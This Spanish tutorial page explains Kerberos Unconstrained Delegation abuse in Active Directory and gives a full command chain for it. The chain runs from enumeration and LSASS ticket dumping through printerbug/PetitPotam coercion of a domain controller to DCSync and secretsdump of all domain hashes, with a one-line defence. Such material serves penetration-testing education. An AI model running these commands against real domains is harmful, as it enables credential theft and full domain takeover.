Escalada

Abuso de Unconstrained Delegation

Un servidor con delegación Kerberos sin restricciones guarda el TGT de quien se conecta; el atacante lo roba y suplanta a cualquier usuario, incluido un Domain Controller.

Qué es

La Unconstrained Delegation deja que un servidor guarde el TGT de cualquier usuario que se autentica en él. Quien controla ese servidor roba esos TGT y suplanta a cada usuario. Si se autentica un Domain Admin o un controlador de dominio, el atacante se lleva su identidad.

Cómo funciona

El usuario se autentica por Kerberos a un servicio del host con delegación sin restricciones. El KDC mete una copia del TGT del usuario dentro del ticket de servicio. El host guarda ese TGT en memoria para actuar en nombre del usuario. No hay límite de alcance: ese TGT sirve para pedir tickets a cualquier servicio. Con acceso SYSTEM en el host, el atacante extrae todos los TGT cacheados. Si además fuerza a un Domain Controller a autenticarse (coerción), captura el TGT de la cuenta máquina del DC y llega a DCSync.

Diagrama

Comandos

Buscar sistemas con Unconstrained Delegation:

nxc ldap <IP> -u <USER> -p <PASSWORD> --trusted-for-delegation

Con PowerView, desde una sesión ya autenticada:

Get-DomainComputer -Unconstrained | Select-Object dnshostname

Capturar los TGT entrantes en el host comprometido:

Rubeus.exe monitor /interval:5 /nowrap

Volcar los tickets que ya están en memoria:

Rubeus.exe dump /nowrap

Con mimikatz, exportar los tickets desde LSASS:

privilege::debug
sekurlsa::tickets /export

El objetivo de la coerción es el DC (<DC>). El listener es el host con delegación que controlas (<HOST>).

Forzar al DC a autenticarse con el bug de la impresora (MS-RPRN):

printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<DC> <HOST>

O con PetitPotam (MS-EFSRPC):

petitpotam.py -d <DOMAIN> -u <USER> -p <PASSWORD> <HOST> <DC>

Cargar el TGT capturado en la sesión actual:

Rubeus.exe ptt /ticket:<FILE>

Replicar los hashes del dominio con el TGT del DC (DCSync):

lsadump::dcsync /domain:<DOMAIN> /all /csv

Desde Linux, con el ticket en formato ccache:

export KRB5CCNAME=<FILE>
secretsdump.py -k -no-pass -just-dc <DOMAIN>/'<DC>$'@<DC>

Cómo defenderse

Quita el flag TrustedForDelegation de todo servidor que no tenga un requisito documentado y vigente.

Siguiente

Puedes seguir leyendo aquí:

EscaladaAbuso de AD CS Templates mal configuradas

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.